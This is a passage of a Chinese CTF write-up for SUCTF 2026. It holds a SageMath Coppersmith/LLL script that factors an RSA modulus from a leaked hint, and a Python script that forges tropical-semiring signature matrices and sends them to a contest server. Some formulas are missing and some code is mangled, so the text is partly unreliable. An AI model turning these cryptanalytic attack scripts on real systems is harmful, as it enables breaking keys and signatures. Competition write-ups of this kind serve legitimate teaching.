这等价于存在一个整数 ,使得:将  代入:由于等式右边对  取模为 ,我们可以得到同余方程:根据题目给出的条件,我们已知 ,设未知的低位部分为 ,则有:其中 。代入同余方程中:这是一个关于  和  的二元多项式。令 ,构造多项式:在这个多项式中:变量  对应 。由于 ,且 ,所以 。变量  对应 。根据抹零的位数,可知 。这里的模数是 。未知的乘界 。由于  显著小于模数 ,满足 Herrmann-May 提出的求解二元 Coppersmith 方程的边界条件。因此,我们可以通过构造移位多项式并使用 LLL 算法来进行格规约,求出根  和 。解题步骤提取参数:从题目输出中获取 。设定边界:设定 , 。构造格并运行 LLL:选取合适的维度(如  即可快速跑出),构造多项式矩阵,运行 LLL 规约找到短向量。结式消元求解:利用提取出的两个短多项式计算结式(Resultant),消去变量 ,求出变量 (即隐藏的低位 )。恢复 RSA 参数:通过  和 ,构造一元二次方程 ,解出  和 ,进而计算  和 ,解密密文。解题脚本 (SageMath)Pythonimport re from sage.all import *

def long_to_bytes(n): s = hex(int(n))[2:] s = ‘0’ + s if len(s) % 2 != 0 else s return bytes.fromhex(s)

1. 填入题目给定的参数 (或自动从文件提取)

此处假定 N, e, c, S 已加载

… (参数省略) …

X = 2338 Y = 2400 A = N – S + 1

PR. = PolynomialRing(ZZ) f = xy – Ax + 1

2. 构造二元 Coppersmith 格

m = 3 t = 1 polys = []

for k in range(m + 1): for i in range(m – k + 1): polys.append((xi) * (fk) * (e**(m-k))) for j in range(1, t + 1): polys.append((yj) * (fk) * (e**(m-k)))

monomials = set() for p in polys: monomials.update(p.monomials()) monomials = sorted(list(monomials)) dim = len(monomials)

print(f”[] Matrix Dimension: {dim}x{dim}, Running LLL…”) M = Matrix(ZZ, dim, dim) for i, p in enumerate(polys): p_eval = p(xX, y*Y) for j, mon in enumerate(monomials): M[i, j] = p_eval.monomial_coefficient(mon)

M_LLL = M.LLL()

print(“[*] LLL done. Calculating resultants…”) polys_LLL = [] for i in range(dim): if M_LLL[i].is_zero(): continue p_new = PR(0) for j, mon in enumerate(monomials): p_new += (M_LLL[i, j] // mon(X, Y)) * mon polys_LLL.append(p_new)

3. 结式消元求 y (x0)

res = polys_LLL[0].resultant(polys_LLL[1], x) res_y = res.univariate_polynomial()

for y_root, _ in res_y.roots(): x0 = int(y_root) print(f”[+] Found x0: {x0}”)

# 4. 恢复 p, q 并解密
P_plus_Q = S + x0
R.<z> = PolynomialRing(ZZ)
eq = z**2 - P_plus_Q*z + N
pq_roots = eq.roots()

if pq_roots:
&nbsp; &nbsp; p = int(pq_roots[0][0])
&nbsp; &nbsp; q = int(N // p)
&nbsp; &nbsp; print(f"[+] Factored N!\n &nbsp; &nbsp;p = {p}\n &nbsp; &nbsp;q = {q}")

&nbsp; &nbsp; phi = (p-1)*(q-1)
&nbsp; &nbsp; d = inverse_mod(e, phi)
&nbsp; &nbsp; m_val = pow(c, d, N)

&nbsp; &nbsp; flag = long_to_bytes(m_val)
&nbsp; &nbsp; print(f"\n[+] FLAG: {flag.decode(errors='ignore')}")
&nbsp; &nbsp; break

结果运行脚本后,格规约迅速完成,成功提取出被抹去的低位 x0 并分解大整数 ,最终得到 Flag:SUCTF{congratulation_you_know_small_d_with_hint_factor}

题目:SU_Restaurant

题目目标

  • 伪造一组合法“签名”矩阵:、、、、。

数学背景(tropical min-plus 半环)

  • 加法:
  • 乘法:
  • 矩阵乘法定义为:。

服务端校验关系

  • 通过条件:、、所有元素满足 ,并且矩阵在实数域上满足满秩要求(脚本里对  检查秩为 7,对  检查秩为 8)。

核心思路

  • 由于  本质是逐元素取最小值,只要能让  与  在每个位置都给出足够小的候选值,就能让  这项永远不可能成为最小值,从而完全绕过隐藏的 。

  • 目标是构造使得:

  • 其余不希望被选中的项用较大数填充(例如 240~255),让它们在  中自然“失效”。

构造方式(与脚本一致)

  • 由服务端给出的字符串(脚本中命名为 Fo0dN4mE)经过 sha3_512 得到 64 字节,再按行组成  的矩阵 (元素范围 0~255)。
  • 选取列集合 :按每列最小值从小到大取前 4 列;选取行集合 :按每行最小值从小到大取前 3 行。
  • 构造 :前 4 列直接取  的  列,后 3 列用  的随机小数填充。
  • 构造 :前 4 行用  随机小数填充,后 3 行直接取  的  行。
  • 构造 :在  对应的 4 行写入  的前 4 行,其余位置用  填充。
  • 构造 :在  对应的 3 列写入  的后 3 列,其余位置用  填充。
  • 构造 :全部用  填充。
  • 随机性用于满足实数域“满秩”约束;若秩不满足则重试。

求解脚本

import&nbsp;socket
import&nbsp;json
import&nbsp;numpy&nbsp;as&nbsp;np
import&nbsp;re
from&nbsp;hashlib&nbsp;import&nbsp;sha3_512
from&nbsp;random&nbsp;import&nbsp;randint

def&nbsp;H(x):
&nbsp; &nbsp;&nbsp;if&nbsp;isinstance(x, str):
&nbsp; &nbsp; &nbsp; &nbsp; x = x.encode()
&nbsp; &nbsp;&nbsp;return&nbsp;[int(y,&nbsp;16)&nbsp;for&nbsp;y&nbsp;in&nbsp;[sha3_512(x).hexdigest()[i:i+2]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;128,&nbsp;2)]]

def&nbsp;solve(Fo0dN4mE):
&nbsp; &nbsp; tmp = H(Fo0dN4mE)
&nbsp; &nbsp; M = [[tmp[i *&nbsp;8&nbsp;+ j]&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8)]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8)]

&nbsp; &nbsp; col_mins = [min(M[i][j]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8))&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8)]
&nbsp; &nbsp; C = sorted(range(8), key=lambda&nbsp;x: col_mins[x])[:4]

&nbsp; &nbsp; row_mins = [min(M[i][j]&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8))&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8)]
&nbsp; &nbsp; L = sorted(range(8), key=lambda&nbsp;x: row_mins[x])[:3]

&nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; A = [[0] *&nbsp;7&nbsp;for&nbsp;_&nbsp;in&nbsp;range(8)]
&nbsp; &nbsp; &nbsp; &nbsp; B = [[0] *&nbsp;8&nbsp;for&nbsp;_&nbsp;in&nbsp;range(7)]
&nbsp; &nbsp; &nbsp; &nbsp; P = [[255] *&nbsp;8&nbsp;for&nbsp;_&nbsp;in&nbsp;range(8)]
&nbsp; &nbsp; &nbsp; &nbsp; R = [[255] *&nbsp;8&nbsp;for&nbsp;_&nbsp;in&nbsp;range(8)]
&nbsp; &nbsp; &nbsp; &nbsp; S = [[0] *&nbsp;8&nbsp;for&nbsp;_&nbsp;in&nbsp;range(8)]

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(4):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; B[c][j] = randint(0,&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(4,&nbsp;7):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; B[c][j] = M[L[c -&nbsp;4]][j]

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(4):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; A[i][c] = M[i][C[c]]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(4,&nbsp;7):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; A[i][c] = randint(0,&nbsp;1)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(4):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P[C[c]][j] = B[c][j]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;k&nbsp;not&nbsp;in&nbsp;C:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P[k][j] = randint(240,&nbsp;255)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;range(3):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; R[i][L[c]] = A[i][c +&nbsp;4]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;l&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;l&nbsp;not&nbsp;in&nbsp;L:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; R[i][l] = randint(240,&nbsp;255)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(8):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; S[i][j] = randint(240,&nbsp;255)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;np.linalg.matrix_rank(np.array(A)) ==&nbsp;7&nbsp;and&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;np.linalg.matrix_rank(np.array(B)) ==&nbsp;7&nbsp;and&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;np.linalg.matrix_rank(np.array(P)) ==&nbsp;8&nbsp;and&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;np.linalg.matrix_rank(np.array(R)) ==&nbsp;8&nbsp;and&nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;np.linalg.matrix_rank(np.array(S)) ==&nbsp;8:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

&nbsp; &nbsp;&nbsp;return&nbsp;{"A": A,&nbsp;"B": B,&nbsp;"P": P,&nbsp;"R": R,&nbsp;"S": S}

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; s = socket.socket()
&nbsp; &nbsp; s.connect(("101.245.107.149",&nbsp;10020))

&nbsp; &nbsp;&nbsp;def&nbsp;read_until(prompt):
&nbsp; &nbsp; &nbsp; &nbsp; buf =&nbsp;b""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;prompt.encode()&nbsp;not&nbsp;in&nbsp;buf:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf += s.recv(1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;buf.decode()

&nbsp; &nbsp; print(read_until(">>> "))
&nbsp; &nbsp; s.sendall(b"2\n")

&nbsp; &nbsp; resp = read_until(">>> ")
&nbsp; &nbsp; m = re.search(r"Please make (.+) for me!", resp)
&nbsp; &nbsp; food = m.group(1)
&nbsp; &nbsp; print(f"[*] Solving for food signature:&nbsp;{food}...")

&nbsp; &nbsp; payload = solve(food)
&nbsp; &nbsp; s.sendall(json.dumps(payload).encode() +&nbsp;b"\n")

&nbsp; &nbsp; print("\n[*] Sent crafted ingredients. Server responds:")
&nbsp; &nbsp; print(s.recv(1024).decode())

运行结果

服务端返回:Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《SUCTF 2026 WP》

SUCTF2026WP 网络安全文章

SUCTF2026WP

文章总结: 文档记录了SUCTF2026两道题目解题过程。BabyAI题利用神经网络线性特性,通过查询接口收集输出并用最小二乘法逆向恢复全连接层权重;SQL注入
评论:0   参与:  0